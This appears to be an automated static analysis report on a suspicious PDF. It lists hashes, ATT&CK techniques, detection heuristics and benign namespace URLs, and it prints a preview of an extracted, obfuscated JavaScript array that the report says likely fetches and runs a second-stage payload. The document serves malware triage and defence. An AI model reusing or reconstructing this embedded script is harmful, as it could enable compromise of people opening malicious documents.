PDF static analysis report

Static analysis result for SHA-256 5e15f69e512295fb…

SUSPICIOUS

PDF

23.1 KB Created: 2010-04-08 08:53:42 +08:00 Authoring application: Acrobat Web Capture 7.0 First seen: 2026-05-10
MD5: 8f12395613db0cbac8c089744db0955f SHA-1: 2d27c66e053e5313a57d72bffea0e32870122755 SHA-256: 5e15f69e512295fb95e93156543ec773d6218e65057748977cd759e670d9b86b
50 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics, and the presence of a javascript_obj0034_000.js artifact. The ML classifier strongly flags this PDF as malicious. The JavaScript code, while obfuscated, likely attempts to download and execute a second-stage payload, a common technique for initial compromise. The embedded URLs are benign and do not contribute to the maliciousness.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9998

Heuristics 4

  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0034_000.js pdf-javascript-stream PDF /JS object 34 at offset 0x4C7 1105 bytes
SHA-256: dbaeed2cbc4e08ff89060768f7d1777aafe3b8d97ca7a5e64327b3123f503ea3
Preview script
First 1,000 lines of the extracted script
var a = new Array(220,178,212,48,214,192,186,200,200,182,206,184,186,48,106,48,218,204,186,214,182,178,208,186,64,52,58,218,178,82,92,88,58,218,80,80,86,80,58,218,80,80,80,80,58,218,96,180,98,80,58,218,80,182,88,80,58,218,96,180,98,80,58,218,82,182,94,80,58,218,96,180,178,184,58,218,80,96,94,80,58,218,186,98,98,80,58,218,80,84,96,180,58,218,80,80,80,80,58,218,98,80,90,96,58,218,186,182,96,82,58,218,80,84,80,80,58,218,80,80,80,80,58,218,188,182,96,180,58,218,94,94,96,98,58,218,96,98,80,96,58,218,82,80,88,94,58,218,94,94,188,188,58,218,92,96,80,96,58,218,98,94,186,182,58,218,80,182,80,86,58,218,82,178,186,96,58,218,80,80,80,84,58,218,96,98,80,80,58,218,82,182,88,94,58,218,94,94,188,188,58,218,92,96,80,96,58,218,84,84,188,92,58,218,94,182,180,98,58,218,80,178,186,96,58,218,80,80,80,84,58,218,98,80,80,80,58,218,88,94,96,98,58,218,188,188,84,80,58,218,80,96,94,94,58,218,178,90,92,96,58,218,80,80,82,94,58,218,186,96,94,182,58,218,80,82,188,98,58,218,80,80,80,80,58,218,88,94,96,98,58,218,188,188,84,88,58,218,80,96,94,94,58,218,188,180,92,96,58,218,188,184,98,94,58,218,186,96,80,188,58,218,80);

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